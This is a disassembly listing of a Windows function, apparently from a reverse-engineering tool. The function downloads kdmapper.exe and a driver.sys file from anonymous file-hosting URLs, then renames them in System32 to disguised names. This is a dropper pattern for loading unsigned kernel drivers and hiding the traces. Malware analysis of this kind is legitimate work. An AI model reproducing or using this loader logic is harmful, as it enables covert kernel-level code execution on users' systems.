Function at 0x140035f10
Capabilities:
Download url
Move file
Receive data

Disassembly:
sub rsp, 0xf8
mov rax, qword [0x140052bc0]
xor rax, rsp
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0x30], 0
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rdx, [0x14004a20c]
mov rcx, qword [rsp + 0x48]
call fcn.14002b9f0
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.14003fe20
nop
lea rcx, str._Downloading_kdmapper.exe...
call fcn.140035d80
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14004a230]
lea rdx, str.https:__anonymfile.com_f_42c611ec_dd5b_43ab_acae_5439eb91c2eb
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x140035fde
lea rdx, [0x14004a300]
lea rcx, [rsp + 0xa8]
call fcn.14002b9f0
nop
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0xa8]
call fcn.14003b650
movzx eax, al
test eax, eax
je 0x140035fde
mov dword [rsp + 0x3c], 0
jmp 0x140035fe6
mov dword [rsp + 0x3c], 1
mov al, byte [rsp + 0x3c]
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
and eax, 1
test eax, eax
je 0x14003600c
and dword [rsp + 0x30], 0xfffffffe
lea rcx, [rsp + 0xa8]
call fcn.14002c32c
nop
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x140036034
lea rcx, [0x14004a328]
call fcn.140035c8c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
jmp 0x14003616d
lea rcx, str.Downloading_driver.sys...
call fcn.140035d80
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14004a380]
lea rdx, str.https:__anonymfile.com_f_176fc217_3ed5_4823_aaf6_6aaed156f06e
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x1400360aa
lea rdx, [0x14004a440]
lea rcx, [rsp + 0xc8]
call fcn.14002b9f0
nop
mov eax, dword [rsp + 0x30]
or eax, 2
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0xc8]
call fcn.14003b650
movzx eax, al
test eax, eax
je 0x1400360aa
mov dword [rsp + 0x40], 0
jmp 0x1400360b2
mov dword [rsp + 0x40], 1
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
and eax, 2
test eax, eax
je 0x1400360d8
and dword [rsp + 0x30], 0xfffffffd
lea rcx, [rsp + 0xc8]
call fcn.14002c32c
nop
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x1400360fd
lea rcx, str.Erreur_:_Impossible_de_t
call fcn.140035c8c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
jmp 0x14003616d
lea rcx, str.Run_driver.exe_in_the_folder_then_press_enter
call fcn.140035d80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rdx, str.C:WindowsSystem32_seven.ud
lea rcx, str.C:WindowsSystem32kdmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rdx, str.C:WindowsSystem32qlf.ud
lea rcx, str.C:WindowsSystem32driver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
lea rdx, [0x14004a548]
mov rcx, qword [rsp + 0x58]
call fcn.14002b9f0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14003fe20
nop
mov rcx, qword [rsp + 0xe8]
xor rcx, rsp
call fcn.140041950
add rsp, 0xf8
ret